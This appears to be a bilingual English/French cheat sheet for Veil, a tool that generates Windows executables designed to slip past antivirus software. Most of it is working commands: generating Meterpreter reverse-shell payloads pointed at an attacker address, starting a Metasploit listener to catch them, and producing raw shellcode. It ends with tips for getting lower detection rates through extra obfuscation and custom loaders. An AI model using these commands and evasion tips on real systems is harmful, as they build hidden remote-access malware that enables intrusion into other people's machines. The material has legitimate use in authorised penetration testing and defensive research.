veil
Framework de génération de payloads axé sur l'évasion AV. Génère des payloads exécutables (Meterpreter, shellcode, personnalisés) qui contournent les solutions antivirus courantes. Payload generation framework focused on AV evasion. Generates executable payloads (Meterpreter, shellcode, custom) that bypass common antivirus solutions.
↗ https://github.com/Veil-Framework/VeilOverview
Veil generates Windows payloads designed to bypass antivirus detection. It wraps shellcode (Meterpreter, custom) in various obfuscated carriers — Python, PowerShell, Go, C, Ruby — compiled to executables or scripts. The framework provides a menu-driven interface for selecting payloads and evasion techniques.
Installation
git clone https://github.com/Veil-Framework/Veil
cd Veil/config
./setup.sh
Main tool
./Veil.py
Basic Usage
Launch Veil
./Veil.py
List available tools
list
Use Evasion (main payload tool)
use 1
Or directly:
./Veil.py --tool Evasion
Inside Veil Evasion
Veil/Evasion> list # list all payloads
Veil/Evasion> use 1 # select payload (e.g., python/meterpreter/rev_tcp)
# Configure options:
set LHOST 10.10.10.50
set LPORT 4444
generate # generate the payload
Common Payloads
# Python-based payloads (good evasion, needs Python on target)
python/meterpreter/rev_tcp
python/meterpreter/bind_tcp
python/shellcode_inject/flat
PowerShell payloads
powershell/meterpreter/rev_tcp
# C payloads (compiled with MinGW)
c/meterpreter/rev_tcp
c/shellcode_inject/flat
# Go payloads
go/meterpreter/rev_tcp
go/shellcode_inject/flat
Ruby payloads (needs Ruby on target)
ruby/meterpreter/rev_tcp
Setting Up Listener
# After generating payload, Veil prompts to set up MSF listener
# Or manually in Metasploit:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.50
set LPORT 4444
run
Ordnance (Shellcode Generator)
Veil-Ordnance generates shellcode separately
./Veil.py --tool Ordnance
# Generate Meterpreter shellcode
set LHOST 10.10.10.50
set LPORT 4444
generate
# Output: raw shellcode for embedding in custom stagers
AV Evasion Techniques Used
- Encryption of shellcode (XOR, AES)
- Python/Ruby compilation to EXE (obfuscates structure)
- Custom PE structure (avoids common signatures)
- Polymorphic code wrappers
- Memory injection techniques
- Sleep calls and sandbox evasion
Tips
- Veil-generated payloads have increasingly higher AV detection rates over time — test before deploying
- Combine with custom obfuscation (Invoke-Obfuscation, Shikata Ga Nai) for better evasion
- The Go and C payloads tend to have lower AV detection than Python-based ones
- For modern engagements, consider Donut + custom shellcode loaders for better evasion
Help / Man page
./Veil.py [options]
--tool TOOL Select tool: Evasion, Ordnance
--list-payloads List available payloads
--payload NAME Select specific payload
--ip IP LHOST for payload
--port PORT LPORT for payload
--output FILE Output filename
--clean Clean generated files
--setup Re-run setup
Inside interactive mode:
list List payloads/tools
use N Select item N
info Show payload info
set K V Set option K to value V
generate Generate payload
exit Quit
Vue d’ensemble
Veil génère des payloads Windows conçus pour contourner la détection antivirus. Il enveloppe du shellcode (Meterpreter, personnalisé) dans divers vecteurs obfusqués : Python, PowerShell, Go, C, Ruby, compilés en exécutables ou scripts. Le framework fournit une interface pilotée par menu pour sélectionner les payloads et techniques d’évasion.
Installation
git clone https://github.com/Veil-Framework/Veil
cd Veil/config
./setup.sh
Outil principal
./Veil.py
Utilisation de base
# Lancer Veil
./Veil.py
# Lister les outils disponibles
list
# Utiliser Evasion (outil principal de payload)
use 1
Ou directement :
./Veil.py --tool Evasion
Dans Veil Evasion
Veil/Evasion> list # lister tous les payloads
Veil/Evasion> use 1 # sélectionner un payload (ex : python/meterpreter/rev_tcp)
# Configurer les options :
set LHOST 10.10.10.50
set LPORT 4444
generate # générer le payload
Payloads courants
# Payloads basés sur Python (bonne évasion, nécessite Python sur la cible)
python/meterpreter/rev_tcp
python/meterpreter/bind_tcp
python/shellcode_inject/flat
# Payloads PowerShell
powershell/meterpreter/rev_tcp
# Payloads C (compilés avec MinGW)
c/meterpreter/rev_tcp
c/shellcode_inject/flat
# Payloads Go
go/meterpreter/rev_tcp
go/shellcode_inject/flat
# Payloads Ruby (nécessite Ruby sur la cible)
ruby/meterpreter/rev_tcp
Mise en place du listener
# Après avoir généré le payload, Veil propose de mettre en place un listener MSF
# Ou manuellement dans Metasploit :
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.50
set LPORT 4444
run
Ordnance (générateur de shellcode)
Veil-Ordnance génère du shellcode séparément
./Veil.py --tool Ordnance
# Générer du shellcode Meterpreter
set LHOST 10.10.10.50
set LPORT 4444
generate
# Sortie : shellcode brut à intégrer dans des stagers personnalisés
Techniques d’évasion AV utilisées
- Chiffrement du shellcode (XOR, AES)
- Compilation Python/Ruby en EXE (obfusque la structure)
- Structure PE personnalisée (évite les signatures courantes)
- Enveloppes de code polymorphes
- Techniques d'injection mémoire
- Appels sleep et évasion de sandbox
Conseils
- Les payloads générés par Veil ont des taux de détection AV de plus en plus élevés avec le temps : tester avant de déployer
- Combiner avec de l’obfuscation personnalisée (Invoke-Obfuscation, Shikata Ga Nai) pour une meilleure évasion
- Les payloads Go et C ont tendance à avoir une détection AV plus faible que les payloads basés sur Python
- Pour des missions modernes, envisager Donut + des loaders de shellcode personnalisés pour une meilleure évasion
Aide / Page de manuel
./Veil.py [options]
--tool TOOL Select tool: Evasion, Ordnance
--list-payloads List available payloads
--payload NAME Select specific payload
--ip IP LHOST for payload
--port PORT LPORT for payload
--output FILE Output filename
--clean Clean generated files
--setup Re-run setup
Inside interactive mode:
list List payloads/tools
use N Select item N
info Show payload info
set K V Set option K to value V
generate Generate payload
exit Quit